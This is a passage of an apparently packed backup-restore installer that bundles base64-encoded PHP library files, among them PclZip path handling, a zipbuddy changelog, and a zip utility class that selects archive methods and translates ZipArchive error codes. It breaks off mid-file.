S0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBQY2xaaXBVdGlsVHJhbnNsYXRlV2luUGF0aCgpCiAgLy8gRGVzY3JpcHRpb24gOgogIC8vICAgVHJhbnNsYXRlIHdpbmRvd3MgcGF0aCBieSByZXBsYWNpbmcgJ1wnIGJ5ICcvJyBhbmQgb3B0aW9uYWxseSByZW1vdmluZwogIC8vICAgZHJpdmUgbGV0dGVyLgogIC8vIFBhcmFtZXRlcnMgOgogIC8vICAgJHBfcGF0aCA6IHBhdGggdG8gdHJhbnNsYXRlLgogIC8vICAgJHBfcmVtb3ZlX2Rpc2tfbGV0dGVyIDogdHJ1ZSB8IGZhbHNlCiAgLy8gUmV0dXJuIFZhbHVlcyA6CiAgLy8gICBUaGUgcGF0aCB0cmFuc2xhdGVkLgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gUGNsWmlwVXRpbFRyYW5zbGF0ZVdpblBhdGgoJHBfcGF0aCwgJHBfcmVtb3ZlX2Rpc2tfbGV0dGVyPXRydWUpCiAgewogICAgaWYgKHN0cmlzdHIocGhwX3VuYW1lKCksICd3aW5kb3dzJykpIHsKICAgICAgLy8gLS0tLS0gTG9vayBmb3IgcG90ZW50aWFsIGRpc2sgbGV0dGVyCiAgICAgIGlmICgoJHBfcmVtb3ZlX2Rpc2tfbGV0dGVyKSAmJiAoKCR2X3Bvc2l0aW9uID0gc3RycG9zKCRwX3BhdGgsICc6JykpICE9IGZhbHNlKSkgewogICAgICAgICAgJHBfcGF0aCA9IHN1YnN0cigkcF9wYXRoLCAkdl9wb3NpdGlvbisxKTsKICAgICAgfQogICAgICAvLyAtLS0tLSBDaGFuZ2UgcG90ZW50aWFsIHdpbmRvd3MgZGlyZWN0b3J5IHNlcGFyYXRvcgogICAgICBpZiAoKHN0cnBvcygkcF9wYXRoLCAnXFwnKSA+IDApIHx8IChzdWJzdHIoJHBfcGF0aCwgMCwxKSA9PSAnXFwnKSkgewogICAgICAgICAgJHBfcGF0aCA9IHN0cnRyKCRwX3BhdGgsICdcXCcsICcvJyk7CiAgICAgIH0KICAgIH0KICAgIHJldHVybiAkcF9wYXRoOwogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQo=
###PACKDATA,FILE_END,/lib/pclzip/pclzip.php,importbuddy/lib/pclzip/pclzip.php
###PACKDATA,FILE_START,/lib/zipbuddy/history.txt,importbuddy/lib/zipbuddy/history.txt
Mi4wLjAgLSAyMDExLTEwLTA4IC0gRHVzdGluIEJvbHRvbgoJQWRkZWQgaGlzdG9yeS50eHQuCglBZGRlZCB1bnppcCBmdW5jdGlvbmFsaXR5Lg==
###PACKDATA,FILE_END,/lib/zipbuddy/history.txt,importbuddy/lib/zipbuddy/history.txt
###PACKDATA,FILE_START,/lib/zipbuddy/index.php,importbuddy/lib/zipbuddy/index.php
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/lib/zipbuddy/index.php,importbuddy/lib/zipbuddy/index.php
###PACKDATA,FILE_START,/lib/zipbuddy/legacy.zipbuddy.php,importbuddy/lib/zipbuddy/legacy.zipbuddy.php
PD9waHAKLyoqCiAqCXBsdWdpbmJ1ZGR5X3ppcGJ1ZGR5IENsYXNzCiAqCiAqCUhhbmRsZXMgemlwcGluZyBhbmQgdW56aXBwaW5nLCB1c2luZyB0aGUgYmVzdCBtZXRob2RzIGF2YWlsYWJsZSBhbmQgZmFsbGluZyBiYWNrIHRvIHdvcnNlIG1ldGhvZHMKICoJYXMgbmVlZGVkIGZvciBjb21wYXRpYmlsaXR5LiBBbGxvd3MgZm9yIGZvcmNpbmcgY29tcGF0aWJpbGl0eSBtb2Rlcy4KICoJCiAqCUBzaW5jZSAzLjAuMAogKglAYXV0aG9yIER1c3RpbiBCb2x0b24KICoKICoJJHRlbXBfZGlyCQlzdHJpbmcJCVRlbXBvcmFyeSBkaXJlY3RvcnkgYWJzb2x1dGUgcGF0aCBmb3IgdGVtcG9yYXJ5IGZpbGUgc3RvcmFnZS4gTXVzdCBiZSB3cml0YWJsZSEKICoJJHppcF9tZXRob2RzCWFycmF5CQlPcHRpb25hbC4gQXJyYXkgb2YgYXZhaWxhYmxlIHppcCBtZXRob2RzIHRvIHVzZS4gVXNlZnVsIGZvciBub3QgaGF2aW5nIHRvIHJlLXRlc3QgZXZlcnkgdGltZS4KICoJCQkJCQkJCUlmIG9taXR0ZWQgdGhlbiBhIHRlc3Qgd2lsbCBiZSBwZXJmb3JtZWQgdG8gZmluZCB0aGUgbWV0aG9kcyB0aGF0IHdvcmsgb24gdGhpcyBob3N0LgogKgkkbW9kZQkJCXN0cmluZwkJRnV0dXJlIHVzZSB0byBhbGxvdyBmb3Igb3RoZXIgY29tcHJlc3Npb24gbWV0aG9kcyBvdGhlciB0aGFuIHppcC4gQ3VycmVudGx5IG5vdCBpbiB1c2UuCiAqCiAqLwoKCgovLyBUcnkgYW5kIGxvYWQgdGhlIGV4cGVyaW1lbnRhbCB2ZXJzaW9uIC0gaWYgc3VjY2Vzc2Z1bCB0aGVuIGNsYXNzIHdpbGwgZXhpc3QgYW5kIHJlbWFpbmluZyBjb2RlIHdpbGwgYmUgaWdub3JlZAppZiAoCgkJKCBkZWZpbmVkKCAnVVNFX0VYUEVSSU1FTlRBTF9aSVBCVUREWScgKSAmJiAoIHRydWUgPT09IFVTRV9FWFBFUklNRU5UQUxfWklQQlVERFkgKSApCgkJfHwKCQkoIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2FsdGVybmF0aXZlX3ppcCddICkgJiYgKCAnMScgPT0gcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydhbHRlcm5hdGl2ZV96aXAnXSApICkKCSkgewoJCXJlcXVpcmVfb25jZSggZGlybmFtZSggX19GSUxFX18gKSAuICcveC16aXBidWRkeS5waHAnICk7Cn0KCgoKaWYgKCAhY2xhc3NfZXhpc3RzKCAicGx1Z2luYnVkZHlfemlwYnVkZHkiICkgKSB7CgljbGFzcyBwbHVnaW5idWRkeV96aXBidWRkeSB7CgkJCgkJCgkJLyoqKioqKioqKiogUHJvcGVydGllcyAqKioqKioqKioqLwoJCQoJCQoJCWNvbnN0IFpJUF9NRVRIT0RTX1RSQU5TSUVOVCA9ICdwYl9iYWNrdXBidWRkeV9hdmFpbF96aXBfbWV0aG9kc19jbGFzc2ljJzsKCQljb25zdCBaSVBfRVhFQ1BBVEhfVFJBTlNJRU5UID0gJ3BiX2JhY2t1cGJ1ZGR5X2V4ZWNfcGF0aF9jbGFzc2ljJzsKCQljb25zdCBaSVBfVFJBTlNJRU5UX0xJRkUgPSA2MDsKCQljb25zdCBOT1JNX0RJUkVDVE9SWV9TRVBBUkFUT1IgPSAnLyc7CgkJY29uc3QgRElSRUNUT1JZX1NFUEFSQVRPUlMgPSAnL1xcJzsKCQkKCQlwcml2YXRlICRfY29tbWFuZGJ1ZGR5OwoJCXB1YmxpYyAkX3ppcF9tZXRob2RzOwkJLy8gQXJyYXkgb2YgYXZhaWxhYmxlIHppcCBtZXRob2RzLgoJCQoJCQoJCS8qKioqKioqKioqIE1ldGhvZHMgKioqKioqKioqKi8KCQkKCQkKCQlmdW5jdGlvbiBfX2NvbnN0cnVjdCggJHRlbXBfZGlyLCAkemlwX21ldGhvZHMgPSBhcnJheSgpLCAkbW9kZSA9ICd6aXAnICkgewoJCQkvLyR0aGlzLT5fc3RhdHVzID0gYXJyYXkoKTsKCQkJJHRoaXMtPl90ZW1wZGlyID0gJHRlbXBfZGlyOwoJCQkkdGhpcy0+X2V4ZWNwYXRoID0gJyc7CgkJCQoJCQkvLyBIYW5kbGVzIGNvbW1hbmQgbGluZSBleGVjdXRpb24uCgkJCXJlcXVpcmVfb25jZSggcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi9jb21tYW5kYnVkZHkvY29tbWFuZGJ1ZGR5LnBocCcgKTsKCQkJJHRoaXMtPl9jb21tYW5kYnVkZHkgPSBuZXcgcGJfYmFja3VwYnVkZHlfY29tbWFuZGJ1ZGR5KCk7CgkJCQoJCQlpZiAoICFlbXB0eSggJHppcF9tZXRob2RzICkgJiYgKCBjb3VudCggJHppcF9tZXRob2RzICkgPiAwICkgKSB7CgkJCQkkdGhpcy0+X3ppcF9tZXRob2RzID0gJHppcF9tZXRob2RzOwoJCQl9IGVsc2UgewoJCQkJaWYgKCBmdW5jdGlvbl9leGlzdHMoICdnZXRfdHJhbnNpZW50JyApICkgeyAvLyBJbnNpZGUgV29yZFByZXNzCgkJCQkJCgkJCQkJaWYgKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2Rpc2FibGVfemlwbWV0aG9kX2NhY2hpbmcnXSA9PSAnMScgKSB7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1ppcCBtZXRob2QgY2FjaGluZyBkaXNhYmxlZCBiYXNlZCBvbiBzZXR0aW5ncy4nICk7CgkJCQkJCSRhdmFpbGFibGVfbWV0aG9kcyA9IGZhbHNlOwoJCQkJCQkkZXhlY19wYXRoID0gZmFsc2U7CgkJCQkJfSBlbHNlIHsgLy8gVXNlIGNhY2hpbmcuCgkJCQkJCSRhdmFpbGFibGVfbWV0aG9kcyA9IGdldF90cmFuc2llbnQoIHNlbGY6OlpJUF9NRVRIT0RTX1RSQU5TSUVOVCApOwoJCQkJCQkkZXhlY19wYXRoID0gZ2V0X3RyYW5zaWVudCggc2VsZjo6WklQX0VYRUNQQVRIX1RSQU5TSUVOVCApOwoJCQkJCX0KCQkJCQkKCQkJCQlpZiAoICggJGF2YWlsYWJsZV9tZXRob2RzID09PSBmYWxzZSApIHx8ICggJGV4ZWNfcGF0aCA9PT0gZmFsc2UgKSApIHsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnWmlwIG1ldGhvZHMgb3IgZXhlYyBwYXRoIHdlcmUgbm90IGNhY2hlZDsgZGV0ZWN0aW5nLi4uJyApOwoJCQkJCQkkdGhpcy0+X3ppcF9tZXRob2RzID0gJHRoaXMtPmF2YWlsYWJsZV96aXBfbWV0aG9kcyggZmFsc2UsICRtb2RlICk7CgkJCQkJCXNldF90cmFuc2llbnQoIHNlbGY6OlpJUF9NRVRIT0RTX1RSQU5TSUVOVCwgJHRoaXMtPl96aXBfbWV0aG9kcywgc2VsZjo6WklQX1RSQU5TSUVOVF9MSUZFICk7CgkJCQkJCXNldF90cmFuc2llbnQoIHNlbGY6OlpJUF9FWEVDUEFUSF9UUkFOU0lFTlQsICR0aGlzLT5fZXhlY3BhdGgsIHNlbGY6OlpJUF9UUkFOU0lFTlRfTElGRSApOyAvLyBDYWxjdWxhdGVkIGFuZCBzZXQgaW4gYXZhaWxhYmxlX3ppcF9tZXRob2RzKCkuCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NhY2hpbmcgemlwYnVkZHkgY2xhc3NpYyBtZXRob2RzICYgZXhlYyBwYXRoIGZvciBgJyAuIHNlbGY6OlpJUF9UUkFOU0lFTlRfTElGRSAuICdgIHNlY29uZHMuJyApOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1VzaW5nIGNhY2hlZCB6aXBidWRkeSBjbGFzc2ljIG1ldGhvZHM6IGAnIC4gaW1wbG9kZSggJywnLCAkYXZhaWxhYmxlX21ldGhvZHMgKSAuICdgLicgKTsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnVXNpbmcgY2FjaGVkIHppcGJ1ZGR5IGNsYXNzaWMgZXhlYyBwYXRoOiBgJyAuICRleGVjX3BhdGggLiAnYC4nICk7CgkJCQkJCSR0aGlzLT5femlwX21ldGhvZHMgPSAkYXZhaWxhYmxlX21ldGhvZHM7CgkJCQkJfQoJCQkJfSBlbHNlIHsgLy8gT3V0c2lkZSBXb3JkUHJlc3MKCQkJCQkkdGhpcy0+X3ppcF9tZXRob2RzID0gJHRoaXMtPmF2YWlsYWJsZV96aXBfbWV0aG9kcyggZmFsc2UsICRtb2RlICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnWmlwYnVkZHkgY2xhc3NpYyBtZXRob2RzIG5vdCBjYWNoZWQgZHVlIHRvIGJlaW5nIG91dHNpZGUgV29yZFByZXNzLicgKTsKCQkJCX0KCQkJfQoJCX0KCQkKCQkKCQkvLyBGdW5jdGlvbiB0byB0cmFuc2xhdGUgYSBaaXBBcmNoaXZlIGVycm9yIGNvZGUgaW50byBhbiBpbmZvcm1hdGl2ZSBzdHJpbmcgZGVzY3JpcHRpb24KCQlmdW5jdGlvbiB6aXBhcmNoaXZlX2Vycm9yX2luZm8oICRlcnJvciwgJGZ1bGwgPSB0cnVlICkgewoJCQoJCQkvLyBGb3Igc2FmZXR5IGxldCdzIGNoZWNrIHRoYXQgdGhlIGNsYXNzIGFjdHVhbGx5IGV4aXN0cy4uLgoJCQlpZiAoIGNsYXNzX2V4aXN0cyggJ1ppcEFyY2hpdmUnLCBmYWxzZSApICkgewoJCQkKCQkJCS8vIFdlIGNhbiBjaGVjayB0aGUgc3ltYm9saWMgdmFsdWVzCgkJCQlzd2l0Y2goIChpbnQpICRlcnJvciApIHsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX09LOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUlJfT0siOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiTm8gZXJyb3IiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX09QRU46CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX09QRU4iOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiQ2FuJ3Qgb3BlbiBmaWxlIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9NRU1PUlk6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX01FTU9SWSI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJNZW1vcnkgYWxsb2NhdGlvbiBmYWlsdXJlIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9FWElTVFM6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSUl9FWElTVFMiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiRmlsZSBhbHJlYWR5IGV4aXN0cyI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfSU5DT05TOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9JTkNPTlMiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiWmlwIGFyY2hpdmUgaW5jb25zaXN0ZW50IjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9JTlZBTDoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfSU5WQUwiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiSW52YWxpZCBhcmd1bWVudCI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfTk9FTlQ6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX05PRU5UIjsKCQkJCSAJJGVycm9yX2Rlc2NyaXB0aW9uID0gIk5vIHN1Y2ggZmlsZSI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfTk9aSVA6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX05PWklQIjsKCQkJCSAJJGVycm9yX2Rlc2NyaXB0aW9uID0gIk5vdCBhIHppcCBhcmNoaXZlIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9SRUFEOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9SRUFEIjsKCQkJCSAJJGVycm9yX2Rlc2NyaXB0aW9uID0gIlJlYWQgZXJyb3IiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX1NFRUs6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX1NFRUsiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiU2VlayBlcnJvciI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfTVVMVElESVNLOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9NVUxUSURJU0siOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiTXVsdGktZGlzayB6aXAgYXJjaGl2ZXMgbm90IHN1cHBvcnRlZCI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfUkVOQU1FOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9SRU5BTUUiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiUmVuYW1pbmcgdGVtcG9yYXJ5IGZpbGUgZmFpbGVkIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9DTE9TRToKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfQ0xPU0UiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiQ2xvc2luZyB6aXAgYXJjaGl2ZSBmYWlsZWQiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX1dSSVRFOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9XUklURSI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJXcml0ZSBlcnJvciI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfQ1JDOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9DUkMiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiQ1JDIGVycm9yIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9aSVBDTE9TRUQ6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX1pJUENMT1NFRCI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJDb250YWluaW5nIHppcCBhcmNoaXZlIHdhcyBjbG9zZWQiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX1RNUE9QRU46CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX1RNUE9QRU4iOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiRmFpbHVyZSB0byBjcmVhdGUgdGVtcG9yYXJ5IGZpbGUiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX1pMSUI6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX1pMSUIiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiWmxpYiBlcnJvciI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfQ0hBTkdFRDoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfQ0hBTkdFRCI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJFbnRyeSBoYXMgYmVlbiBjaGFuZ2VkIjsKCQkJCSAJYnJlYWs7CgkJCQkgY2FzZSBaSVBBUkNISVZFOjpFUl9DT01QTk9UU1VQUDoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfQ09NUE5PVFNVUFAiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiQ29tcHJlc3Npb24gbWV0aG9kIG5vdCBzdXBwb3J0ZWQiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX0VPRjoKCQkJCSAJJGVycm9yX25hbWUgPSAiWklQQVJDSElWRTo6RVJfRU9GIjsKCQkJCSAJJGVycm9yX2Rlc2NyaXB0aW9uID0gIlByZW1hdHVyZSBFT0YiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX0lOVEVSTkFMOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9JTlRFUk5BTCI7CgkJCQkgCSRlcnJvcl9kZXNjcmlwdGlvbiA9ICJJbnRlcm5hbCBlcnJvciI7CgkJCQkgCWJyZWFrOwoJCQkJIGNhc2UgWklQQVJDSElWRTo6RVJfUkVNT1ZFOgoJCQkJIAkkZXJyb3JfbmFtZSA9ICJaSVBBUkNISVZFOjpFUl9SRU1PVkUiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiQ2FuJ3QgcmVtb3ZlIGZpbGUiOwoJCQkJIAlicmVhazsKCQkJCSBjYXNlIFpJUEFSQ0hJVkU6OkVSX0RFTEVURUQ6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSX0RFTEVURUQiOwoJCQkJIAkkZXJyb3JfZGVzY3JpcHRpb24gPSAiRW50cnkgaGFzIGJlZW4gZGVsZXRlZCI7CgkJCQkgCWJyZWFrOwoJCQkJIGRlZmF1bHQ6CgkJCQkgCSRlcnJvcl9uYW1lID0gIlpJUEFSQ0hJVkU6OkVSUl9VTktOT1dOIjsKCQkJCSAJJGVycm9yX2Rlc2NyaXB0aW9uID0gIlVua21vd24gZXJyb3IiOwoJCQkJfQoJCQkJCgkJCQkkZXJyb3Jfc3RyaW5nID0gJGVycm9yX25hbWUgLiAiKCIgLiAkZXJyb3IgLiAiKSA6ICIgLiAkZXJyb3JfZGVzY3JpcHRpb247CgkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCS8vIElmIHRoZSBaaXBBcmNoaXZlIGNsYXNzIGRvZXNuJ3QgZXhpc3RzIGp1c3QgcmV0dXJuIGEgZ2VuZXJpYwoJCQkJJGVycm9yX3N0cmluZyA9ICJaSVBBUkNISVZFOjpFUl9VTktOT1dOKCIgLiAkZXJyb3IgLiAiKSA6IFVua25vd24gZXJyb3IiOwoJCQkKCQkJfQoJCQkKCQkJLy8gT25lIHdheSBvciBhbm90aGVyIHdlIGhhdmUgYSBzdHJpbmcgdG8gcmV0dXJuCgkJCXJldHVybiAkZXJyb3Jfc3RyaW5nOwoJCQoJCX0KCQkKCQkvLyBSZXR1cm5zIHRydWUgaWYgdGhlIGZpbGUgKHdpdGggcGF0aCkgZXhpc3RzIGluIHRoZSBaSVAuCgkJLy8gSWYgbGVhdmVfb3BlbiBpcyB0cnVlIHRoZW4gdGhlIHppcCBvYmplY3Qgd2lsbCBiZSBsZWZ0IG9wZW4gZm9yIGZhc3RlciBjaGVja2luZyBmb3Igc3Vic2VxdWVudCBmaWxlcyB3aXRoaW4gdGhpcyB6aXAKCQkvLyBOb3RlOiBsZWF2ZV9vcGVuIGZ1bmN0aW9uYWxpdHkgY3VycmVudGx5IG5vdCBpbXBsZW1lbnRlZAoJCWZ1bmN0aW9uIGZpbGVfZXhpc3RzKCAkemlwX2ZpbGUsICRsb2NhdGVfZmlsZSwgJGxlYXZlX29wZW4gPSBmYWxzZSApIHsKCgkJCS8vIFVzZSBaaXBBcmNoaXZlIGlmIGF2YWlsYWJsZQoJCQlpZiAoIGluX2FycmF5KCAnemlwYXJjaGl2ZScsICR0aGlzLT5femlwX21ldGhvZHMgKSApIHsKCQkJCgkJCQkvLyBNYWtlIGRvdWJseSBzdXJlIGl0IGlzIGF2YWlsYWJsZSAtIGlmIG5vdCB3ZSdsbCBqdXN0IGRyb3AgdGhyb3VnaAoJCQkJaWYgKCBjbGFzc19leGlzdHMoICdaaXBBcmNoaXZlJywgZmFsc2UpICkgewoJCQkJCgkJCQkJJHphID0gbmV3IFppcEFyY2hpdmUoKTsKCQkJCQkkcmVzdWx0ID0gJHphLT5vcGVuKCAkemlwX2ZpbGUgKTsKCQkJCQkKCQkJCQkvLyBNYWtlIHN1cmUgd2Ugb3BlbmVkIHRoZSB6aXAgb2sKCQkJCQlpZiAoICRyZXN1bHQgPT09IHRydWUgKSB7CgkJCQkJCgkJCQkJCS8vIE5vdyB0cnkgYW5kIGZpbmQgdGhlIGluZGV4IG9mIHRoZSBmaWxlCgkJCQkJCSRpbmRleCA9ICR6YS0+bG9jYXRlTmFtZSggJGxvY2F0ZV9maWxlICk7CgkJCQkJCQoJCQkJCQkvLyBXZSBoYXZlIGZpbmlzaGVkIHdpdGggdGhlIGFyY2hpdmUgKGxlYXZlX29wZW4gaWdub3JlZCBmb3Igbm93KQoJCQkJCQkkemEtPmNsb3NlKCk7CgkJCQkJCQoJCQkJCQkvLyBJZiB3ZSBnb3QgYW4gaW5kZXggd2UgZm91bmQgaXQgb3RoZXJ3aXNlIG5vdCBmb3VuZAoJCQkJCQlpZiAoICRpbmRleCAhPT0gZmFsc2UgKSB7CgkJCQkJCQoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRmlsZSBmb3VuZCAoemlwYXJjaGl2ZSknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzogJyAuICRsb2NhdGVfZmlsZSApOwoJCQkJCQkJcmV0dXJuIHRydWU7CgkJCQkJCQkKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCgkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGaWxlIG5vdCBmb3VuZCAoemlwYXJjaGl2ZSknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzogJyAuICRsb2NhdGVfZmlsZSApOwoJCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJLy8gQ291bGRuJ3Qgb3BlbiBhcmNoaXZlIC0gZHJvcCB0aHJvdWdoIGFzIG1heWJlIG90aGVyIG1ldGhvZCB3aWxsIHN1Y2NlZWQ/CgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkdGhpcy0+emlwYXJjaGl2ZV9lcnJvcl9pbmZvKCAkcmVzdWx0ICk7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1ppcEFyY2hpdmUgZmFpbGVkIHRvIG9wZW4gZmlsZSB0byBjaGVjayBpZiBmaWxlIGV4aXN0cyAobG9va2luZyBmb3IgJTEkcyBpbiAlMiRzKSAtIEVycm9yIEluZm86ICUzJHMuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGxvY2F0ZV9maWxlICwgJHppcF9maWxlLCAkZXJyb3Jfc3RyaW5nICkgKTsKCgkJCQkJfQoJCQkJCgkJCQl9IGVsc2UgewoJCQkJCgkJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gdGhlIG1ldGhvZHMgaW5kaWNhdGVkIHppcGFyY2hpdmUgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGNsYXNzCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnemlwYXJjaGl2ZSBpbmRpY2F0ZWQgYXMgYXZhaWxhYmxlIG1ldGhvZCBidXQgWmlwQXJjaGl2ZSBjbGFzcyBub24tZXhpc3RlbnQnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgoJCQkJfQoJCQkJCgkJCX0KCQkJCgkJCS8vIERyb3BwZWQgdGhyb3VnaCBiZWNhdXNlIFppcEFyY2hpdmUgbm90IGF2YWlsYWJsZSBvciBmYWlsZWQgdG8gb3BlbiBmaWxlCgkJCWlmICggaW5fYXJyYXkoICdwY2x6aXAnLCAkdGhpcy0+X3ppcF9tZXRob2RzICkgKSB7CgkJCQoJCQkJLy8gTWFrZSBzdXJlIHdlIGhhdmUgaXQKCQkJCWlmICggIWNsYXNzX2V4aXN0cyggJ1BjbFppcCcsIGZhbHNlICkgKSB7CgkJCQkKCQkJCQkvLyBJdCdzIG5vdCBhbHJlYWR5IGxvYWRlZCBzbyB0cnkgYW5kIGZpbmQvbG9h